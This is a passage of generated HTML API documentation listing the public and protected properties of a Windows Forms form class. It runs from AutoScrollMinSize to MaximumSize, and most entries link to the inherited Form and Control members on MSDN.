from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/s96ab8h3" target="_blank">AutoScrollMinSize</a></td><td><div class="summary">Gets or sets the minimum size of the auto-scroll.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/haftewt3" target="_blank">AutoScrollOffset</a></td><td><div class="summary">Gets or sets where this control is scrolled to in <a href="http://msdn2.microsoft.com/en-us/50x8s7b4" target="_blank">ScrollControlIntoView(Control)</a>.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/zhfwtcfs" target="_blank">AutoScrollPosition</a></td><td><div class="summary">Gets or sets the location of the auto-scroll position.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/2ybew491" target="_blank">AutoSize</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms159413" target="_blank">AutoSizeMode</a></td><td><div class="summary">Gets or sets the mode by which the form automatically resizes itself.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/51d5b3a8" target="_blank">AutoValidate</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ktb99cf2" target="_blank">BackColor</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/4thk01w9" target="_blank">BackgroundImage</a></td><td><div class="summary">Gets or sets the background image displayed in the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/10f2s566" target="_blank">BackgroundImageLayout</a></td><td><div class="summary">Gets or sets the background image layout as defined in the <a href="http://msdn2.microsoft.com/en-us/7d1zkkfx" target="_blank">ImageLayout</a> enumeration.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ax28f5k5" target="_blank">BindingContext</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/e7d2a552" target="_blank">ContainerControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/zhk0d2w5" target="_blank">Bottom</a></td><td><div class="summary">Gets the distance, in pixels, between the bottom edge of the control and the top edge of its container's client area.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/539yabbc" target="_blank">Bounds</a></td><td><div class="summary">Gets or sets the size and location of the control including its nonclient elements, in pixels, relative to the parent control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/s545ty0w" target="_blank">CancelButton</a></td><td><div class="summary">Gets or sets the button control that is clicked when the user presses the ESC key.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/bb517674" target="_blank">CanEnableIme</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/e7d2a552" target="_blank">ContainerControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/hf0f0936" target="_blank">CanFocus</a></td><td><div class="summary">Gets a value indicating whether the control can receive focus.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/49s91cby" target="_blank">CanRaiseEvents</a></td><td><div class="summary">Determines if events can be raised on the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/k88y210c" target="_blank">CanSelect</a></td><td><div class="summary">Gets a value indicating whether the control can be selected.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/k9326e27" target="_blank">Capture</a></td><td><div class="summary">Gets or sets a value indicating whether the control has captured the mouse.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/2d7t098d" target="_blank">CausesValidation</a></td><td><div class="summary">Gets or sets a value indicating whether the control causes validation to be performed on any controls that require validation when it receives focus.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/7bxt7bek" target="_blank">ClientRectangle</a></td><td><div class="summary">Gets the rectangle that represents the client area of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/9278sfx2" target="_blank">ClientSize</a></td><td><div class="summary">Gets or sets the size of the client area of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/92x719fd" target="_blank">CompanyName</a></td><td><div class="summary">Gets the name of the company or creator of the application containing the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/3c1xtx35" target="_blank">Container</a></td><td><div class="summary">Gets the <a href="http://msdn2.microsoft.com/en-us/z7xdfy67" target="_blank">IContainer</a> that contains the <a href="http://msdn2.microsoft.com/en-us/9wbadbce" target="_blank">Component</a>.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/9wbadbce" target="_blank">Component</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/k73wbset" target="_blank">ContainsFocus</a></td><td><div class="summary">Gets a value indicating whether the control, or one of its child controls, currently has the input focus.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/szd63hxt" target="_blank">ContextMenu</a></td><td><div class="summary">Gets or sets the shortcut menu associated with the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/xthe1837" target="_blank">ContextMenuStrip</a></td><td><div class="summary">Gets or sets the <a href="http://msdn2.microsoft.com/en-us/aszetbbk" target="_blank">ContextMenuStrip</a> associated with this control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/sfe37204" target="_blank">ControlBox</a></td><td><div class="summary">Gets or sets a value indicating whether a control box is displayed in the caption bar of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;declared;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="2b699d89-6e1d-b84d-4b70-0856a95e825a.htm">Controller</a></td><td><div class="summary">
Simple IView.Controller implementation with backing field.
Marked as virtual, so can be overriden in subclasses.
</div></td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/4z8d1tx5" target="_blank">Controls</a></td><td><div class="summary">Gets the collection of controls contained within the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/3d6f8tw9" target="_blank">Created</a></td><td><div class="summary">Gets a value indicating whether the control has been created.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/37bc87ec" target="_blank">CreateParams</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms158378" target="_blank">CurrentAutoScaleDimensions</a></td><td><div class="summary">Gets the current run-time dimensions of the screen.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/e7d2a552" target="_blank">ContainerControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/5sbeszwf" target="_blank">Cursor</a></td><td><div class="summary">Gets or sets the cursor that is displayed when the mouse pointer is over the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/fkc6feck" target="_blank">DataBindings</a></td><td><div class="summary">Gets the data bindings for the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/2a4w1e7f" target="_blank">DefaultCursor</a></td><td><div class="summary">Gets or sets the default cursor for the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/0tzy0fsk" target="_blank">DefaultImeMode</a></td><td><div class="summary">Gets the default Input Method Editor (IME) mode supported by the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/k6e07sch" target="_blank">DefaultMargin</a></td><td><div class="summary">Gets the space, in pixels, that is specified by default between controls.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/bt9wakhc" target="_blank">DefaultMaximumSize</a></td><td><div class="summary">Gets the length and height, in pixels, that is specified as the default maximum size of a control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/a0xd8e7y" target="_blank">DefaultMinimumSize</a></td><td><div class="summary">Gets the length and height, in pixels, that is specified as the default minimum size of a control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/x3sb3t9c" target="_blank">DefaultPadding</a></td><td><div class="summary">Gets the internal spacing, in pixels, of the contents of a control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/xx16khcs" target="_blank">DefaultSize</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/c58hb4bw" target="_blank">DesignMode</a></td><td><div class="summary">Gets a value that indicates whether the <a href="http://msdn2.microsoft.com/en-us/9wbadbce" target="_blank">Component</a> is currently in design mode.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/9wbadbce" target="_blank">Component</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/bfbkb4kx" target="_blank">DesktopBounds</a></td><td><div class="summary">Gets or sets the size and location of the form on the Windows desktop.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/zz4s083y" target="_blank">DesktopLocation</a></td><td><div class="summary">Gets or sets the location of the form on the Windows desktop.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/a9527k9a" target="_blank">DialogResult</a></td><td><div class="summary">Gets or sets the dialog result for the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/36ka8c27" target="_blank">DisplayRectangle</a></td><td><div class="summary">Gets the rectangle that represents the virtual display area of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/y0b2z43d" target="_blank">Disposing</a></td><td><div class="summary">Gets a value indicating whether the base <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a> class is in the process of disposing.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/77cb86s0" target="_blank">Dock</a></td><td><div class="summary">Gets or sets which control borders are docked to its parent control and determines how a control is resized with its parent.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/wkbad8e4" target="_blank">DockPadding</a></td><td><div class="summary">Gets the dock padding settings for all edges of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/5f3fhtww" target="_blank">DoubleBuffered</a></td><td><div class="summary">Gets or sets a value indicating whether this control should redraw its surface using a secondary buffer to reduce or prevent flicker.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/k2wzhedy" target="_blank">Enabled</a></td><td><div class="summary">Gets or sets a value indicating whether the control can respond to user interaction.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/xe4ht2sc" target="_blank">Events</a></td><td><div class="summary">Gets the list of event handlers that are attached to this <a href="http://msdn2.microsoft.com/en-us/9wbadbce" target="_blank">Component</a>.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/9wbadbce" target="_blank">Component</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/6k2za512" target="_blank">Focused</a></td><td><div class="summary">Gets a value indicating whether the control has input focus.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/z0hb3sb6" target="_blank">Font</a></td><td><div class="summary">Gets or sets the font of the text displayed by the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ywdcskyf" target="_blank">FontHeight</a></td><td><div class="summary">Gets or sets the height of the font of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/3zdk614s" target="_blank">ForeColor</a></td><td><div class="summary">Gets or sets the foreground color of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/9ta810dw" target="_blank">FormBorderStyle</a></td><td><div class="summary">Gets or sets the border style of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/e5d5bz90" target="_blank">Handle</a></td><td><div class="summary">Gets the window handle that the control is bound to.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/hzek6kx9" target="_blank">HasChildren</a></td><td><div class="summary">Gets a value indicating whether the control contains one or more child controls.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/k9w3e9xh" target="_blank">Height</a></td><td><div class="summary">Gets or sets the height of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/xzy2f8s1" target="_blank">HelpButton</a></td><td><div class="summary">Gets or sets a value indicating whether a Help button should be displayed in the caption box of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/4890wex4" target="_blank">HorizontalScroll</a></td><td><div class="summary">Gets the characteristics associated with the horizontal scroll bar.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/a660590s" target="_blank">HScroll</a></td><td><div class="summary">Gets or sets a value indicating whether the horizontal scroll bar is visible.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/7xhk8yhk" target="_blank">ScrollableControl</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/6awc0z0a" target="_blank">Icon</a></td><td><div class="summary">Gets or sets the icon for the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/d77c2643" target="_blank">ImeMode</a></td><td><div class="summary">Gets or sets the Input Method Editor (IME) mode of the control.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><span class="nolink">ImeModeBase</span></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/a82t6122" target="_blank">InvokeRequired</a></td><td><div class="summary">Gets a value indicating whether the caller must call an invoke method when making method calls to the control because the caller is on a different thread than the one the control was created on.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/sabe8e1s" target="_blank">IsAccessible</a></td><td><div class="summary">Gets or sets a value indicating whether the control is visible to accessibility applications.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/5zs85y35" target="_blank">IsDisposed</a></td><td><div class="summary">Gets a value indicating whether the control has been disposed of.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/tzhbcat6" target="_blank">IsHandleCreated</a></td><td><div class="summary">Gets a value indicating whether the control has a handle associated with it.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/2c46h781" target="_blank">IsMdiChild</a></td><td><div class="summary">Gets a value indicating whether the form is a multiple document interface (MDI) child form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/w4185395" target="_blank">IsMdiContainer</a></td><td><div class="summary">Gets or sets a value indicating whether the form is a container for multiple document interface (MDI) child forms.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms158421" target="_blank">IsMirrored</a></td><td><div class="summary">Gets a value indicating whether the control is mirrored.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/294ca79s" target="_blank">IsRestrictedWindow</a></td><td><div class="summary">Gets a value indicating whether the form can use all windows and user input events without restriction.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/wkd7820x" target="_blank">KeyPreview</a></td><td><div class="summary">Gets or sets a value indicating whether the form will receive key events before the event is passed to the control that has focus.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/xsdacwks" target="_blank">LayoutEngine</a></td><td><div class="summary">Gets a cached instance of the control's layout engine.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/0s123c17" target="_blank">Left</a></td><td><div class="summary">Gets or sets the distance, in pixels, between the left edge of the control and the left edge of its container's client area.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/36cd312w" target="_blank">Control</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms159414" target="_blank">Location</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms159415" target="_blank">MainMenuStrip</a></td><td><div class="summary">Gets or sets the primary menu container for the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ms159416" target="_blank">Margin</a></td><td> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/ka4xh94h" target="_blank">MaximizeBox</a></td><td><div class="summary">Gets or sets a value indicating whether the maximize button is displayed in the caption bar of the form.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="protected;inherited;notNetfw;"><td><img src="../icons/protproperty.gif" title="Protected property" /></td><td><a href="http://msdn2.microsoft.com/en-us/zfwfacsk" target="_blank">MaximizedBounds</a></td><td><div class="summary">Gets and sets the size of the form when it is maximized.</div> (Inherited from <a href="http://msdn2.microsoft.com/en-us/w4bcxb43" target="_blank">Form</a>.)</td></tr><tr data="public;inherited;notNetfw;"><td><img src="../icons/pubproperty.gif" title="Public property" /></td><td><a href="http://msdn2.microsoft.com/en-us/cazw3s3s" target="_blank">MaximumSize</a></td><td><div class="summary">Gets the maximum size the form can be resized to.</div> (Inherited from <a 